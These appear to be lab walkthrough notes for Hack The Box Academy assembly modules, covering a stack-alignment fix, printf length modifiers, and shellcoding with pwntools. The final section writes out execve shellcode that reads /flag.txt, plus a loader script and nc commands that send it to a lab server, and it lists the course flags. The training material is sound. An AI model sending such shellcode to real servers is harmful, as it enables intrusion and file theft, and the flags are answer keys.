0x401050 <Exit+000a> syscall
0x401052 add BYTE PTR [rax], al
0x401054 add BYTE PTR [rax], al
0x401056 add BYTE PTR [rax], al
gef> si
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf18│+0x0000: 0x0000000000401014 → <printMessage+0000> mov eax, 0x1 ← $rsp
0x00007fffffffdf20│+0x0008: 0x0000000000000001
0x00007fffffffdf28│+0x0010: 0x00007fffffffe24e → "/home/htb-ac-53539/procedure"
0x00007fffffffdf30│+0x0018: 0x0000000000000000
0x00007fffffffdf38│+0x0020: 0x00007fffffffe26b → "SHELL=/bin/bash"
0x00007fffffffdf40│+0x0028: 0x00007fffffffe27b → "SESSION_MANAGER=local/htb-t3hsvuao25:@/tmp/.ICE-un[...]"
0x00007fffffffdf48│+0x0030: 0x00007fffffffe2dd → "WINDOWID=50331654"
0x00007fffffffdf50│+0x0038: 0x00007fffffffe2ef → "QT_ACCESSIBILITY=1"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40103f <loopFib+0005> cmp rbx, 0xa
0x401043 <loopFib+0009> js 0x40103a <loopFib>
0x401045 <loopFib+000b> ret
→ 0x401046 <Exit+0000> mov eax, 0x3c
0x40104b <Exit+0005> mov edi, 0x0
0x401050 <Exit+000a> syscall
0x401052 add BYTE PTR [rax], al
0x401054 add BYTE PTR [rax], al
0x401056 add BYTE PTR [rax], al
* 0x401014
FUNCTIONS
Try to fix the Stack Alignment in "print", so it does not crash, and prints "Its Aligned!". How much boundary was needed to be added? "write a number"
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/functions.zip
...
root@htb:~$ unzip functions.zip
...
root@htb:~$ cat functions.s
global _start
extern printf
section .data
outFormat db "It's %s", 0x0a, 0x00
message db "Aligned!", 0x0a
section .text
_start:
call print ; print string
call Exit ; Exit the program
print:
mov rdi, outFormat ; set 1st argument (Print Format)
mov rsi, message ; set 2nd argument (message)
call printf ; printf(outFormat, message)
ret
Exit:
mov rax, 60
mov rdi, 0
syscall
//triage
root@htb:~$ nasm -f elf64 functions.s -o functions.o
root@htb:~$ ld functions.o -o functions -lc --dynamic-linker /lib64/ld-linux-x86-64.so.2
root@htb:~$ ./functions
Segmentation fault
//code review
root@htb:~$ cat functions.s
global _start
extern printf
section .data
outFormat db "It's %s", 0x0a, 0x00
message db "Aligned!", 0x0a
section .text
_start:
call print ; print string - calls a procedure not function
call Exit ; Exit the program - calls a procedure not function
print:
mov rdi, outFormat ; set 1st argument (Print Format)
mov rsi, message ; set 2nd argument (message)
call printf ; printf(outFormat, message) - calls external function
ret
Exit:
mov rax, 60
mov rdi, 0
syscall
//debugg
root@htb:~$ gdb -q ./functions
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./functions...
(No debugging symbols found in ./functions)
gef> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401010 printf@plt
0x0000000000401020 _start
0x000000000040102a print
0x0000000000401044 Exit
gef> break *_start
Breakpoint 1 at 0x401020
gef> run
...
gef> si...
0x00007fffffffdb40│+0x0000: 0x0000000000000038 ("8"?) ← $rsp
0x00007fffffffdb48│+0x0008: 0x00007fffffffdf38 → 0x00007fffffffe26b → "SHELL=/bin/bash"
0x00007fffffffdb50│+0x0010: 0x00000003f7ffe2e0
0x00007fffffffdb58│+0x0018: 0x00007ffff7fde6e0 → <_dl_unload_cache+0030> mov QWORD PTR [rip+0x1fb1d], 0x0 # 0x7ffff7ffe208 <cache>
0x00007fffffffdb60│+0x0020: 0x000006eb1754d2d0
0x00007fffffffdb68│+0x0028: 0x00007ffff7fe8dd5 → <dl_main+1f35> lea rsp, [rbp-0x28]
0x00007fffffffdb70│+0x0030: 0x0000000000000000
0x00007fffffffdb78│+0x0038: 0x0000000000000001
//fix
root@htb:~$ nano functions.s
global _start
extern printf
section .data
outFormat db "It's %s", 0x0a, 0x00
message db "Aligned!", 0x0a
section .text
_start:
; Each procedure call pushes an 8-byte return address onto the stack.
; Each 'push' instruction also subtracts 8 from rsp (stack grows down).
; This is why we adjust rsp here — to keep 16-byte alignment before calls.
sub rsp, 8 ; keep stack 16-byte aligned (calls push 8-byte return addr)
call print ; print string - calls a procedure not function
call Exit ; Exit the program - calls a procedure not function
print:
mov rdi, outFormat ; set 1st argument (Print Format)
mov rsi, message ; set 2nd argument (message)
call printf ; printf(outFormat, message) - calls external function
ret
Exit:
add rsp, 8 ; restore stack (optional cleanup)
mov rax, 60
mov rdi, 0
syscall
* four main things to consider before calling a function:
- Save Registers on the stack (Caller Saved)
- Pass Function Arguments (like syscalls)
- Fix Stack Alignment
- Ensure rsp is 16-byte aligned before external function
calls (e.g., printf), otherwise you risk segfaults.
- Get Function's Return Value (in rax)
* Before calling a C function, the System V AMD64 ABI requires the stack to
be 16-byte aligned at the call instruction. Currently, after _start, the
stack alignment is off because rsp isn't adjusted
root@htb:~$ nasm -f elf64 functions.s -o functions.o
root@htb:~$ ld functions.o -o functions -lc --dynamic-linker /lib64/ld-linux-x86-64.so.2
root@htb:~$ ./functions
It's Aligned!
LIBC FUNCTIONS
The current string format we are using only allows numbers up to 2 billion. What format can we use to allow up to 3 billion? "Check length modifiers in the 'printf' man page"
root@htb:~$ man -s 3 printf
...
Length modifier
Here, "integer conversion" stands for d, i, o, u, x, or X conversion.
hh A following integer conversion corresponds to a signed char or
unsigned char argument, or a following n conversion corresponds to a
pointer to a signed char argument.
h A following integer conversion corresponds to a short or unsigned
short argument, or a following n conversion corresponds to a pointer
to a short argument.
l (ell) A following integer conversion corresponds to a long or unsigned
long argument, or a following n conversion corresponds to a pointer to
a long argument, or a following c conversion corresponds to a wint_t
argument, or a following s conversion corresponds to a pointer to
wchar_t argument. On a following a, A, e, E, f, F, g, or G conversion,
this length modifier is ignored (C99; not in SUSv2).
ll (ell-ell). A following integer conversion corresponds to a long long
or unsigned long long argument, or a following n conversion corresponds
to a pointer to a long long argument.
q A synonym for ll. This is a nonstandard extension, derived from BSD;
avoid its use in new code.
L A following a, A, e, E, f, F, g, or G conversion corresponds to a long
double argument. (C99 allows %LF, but SUSv2 does not.)
j A following integer conversion corresponds to an intmax_t or uintmax_t
argument, or a following n conversion corresponds to a pointer to an
intmax_t argument.
z A following integer conversion corresponds to a size_t or ssize_t
argument, or a following n conversion corresponds to a pointer to
a size_t argument.
Z A nonstandard synonym for z that predates the appearance of z. Do not
use in new code.
t A following integer conversion corresponds to a ptrdiff_t argument, or
a following n conversion corresponds to a pointer to a ptrdiff_t
argument.
SUSv3 specifies all of the above, except for those modifiers explicitly
noted as being nonstandard extensions. SUSv2 specified only the length
modifiers h (in hd, hi, ho, hx, hX, hn) and l (in ld, li, lo, lx, lX, ln,
lc, ls) and L (in Le, LE, Lf, Lg, LG).
As a nonstandard extension, the GNU implementations treats ll and L as
synonyms, so that one can, for example, write llg (as a synonym for the
standards-compliant Lg) and Ld (as a synonym for the standards compliant
lld). Such usage is nonportable.
* %lld
SHELLCODES
Run the "Exercise Shellcode" to get the flag.
root@htb:~$ sudo pipx install pwntools
...
installed package pwntools 4.14.1, installed using Python 3.11.2
These apps are now globally available
- asm
- checksec
- common
- constgrep
- cyclic
- debug
- disablenx
- disasm
- elfdiff
- elfpatch
- errno
- hex
- libcdb
- main
- phd
- pwn
- pwnstrip
- scramble
- shellcraft
- template
- unhex
- update
- version
done! ✨ 🌟 ✨
root@htb:~$ python3
>>> from pwn import *
>>> context(os="linux", arch="amd64", log_level="error")
>>> run_shellcode(unhex('4831db536a0a48b86d336d307279217d5048b833645f316e37305f5048b84854427b6c303464504889e64831c0b0014831ff40b7014831d2b2190f054831c0043c4030ff0f05')).interactive()
HTB{l04d3d_1n70_m3m0ry!}
SHELLCODING TOOLS
The above server simulates an exploitable server you can execute shellcodes on. Use one of the tools to generate a shellcode that prints the content of '/flag.txt', then connect to the server with "nc SERVER_IP PORT" to send the shellcode.
root@htb:~$ sudo pipx install pwntools
installing pwntools
...
//identify the path for cat
root@htb:~$ which cat
/usr/bin/cat
//research & craft payload - assuming target is Linux
root@htb:~$ python3
>>> from pwn import *
>>> context(os="linux", arch="amd64", log_level="error")
//list payloads and find execve syscall
>>> dir(shellcraft)
[...SNIP... 'execve', 'exit', 'exit_group', ... SNIP...]
//syscall and arguments
>>> syscall = shellcraft.execve(path='/bin/cat', argv=['/bin/cat', '/flag.txt'])
>>> asm(syscall).hex()
'6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05'
//test shellcode locally
root@htb:~$ nano payloadLoader.py
#!/usr/bin/python3
import sys
from pwn import *
context(os="linux", arch="amd64", log_level="error")
run_shellcode(unhex(sys.argv[1])).interactive()
root@htb:~$ python3 payloadLoader.py '6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05'
/bin/cat: /flag.txt: No such file or directory
//execute payload on target
//method 1: execute directly on target
root@htb:~$ nc 83.136.252.69 30662
6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05
HTB{r3m073_5h3llc0d3_3x3cu710n}
//method 2:
root@htb:~$ echo -n -e "6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05" | nc 83.136.252.69 30662
HTB{r3m073_5h3llc0d3_3x3cu710n}
Last updated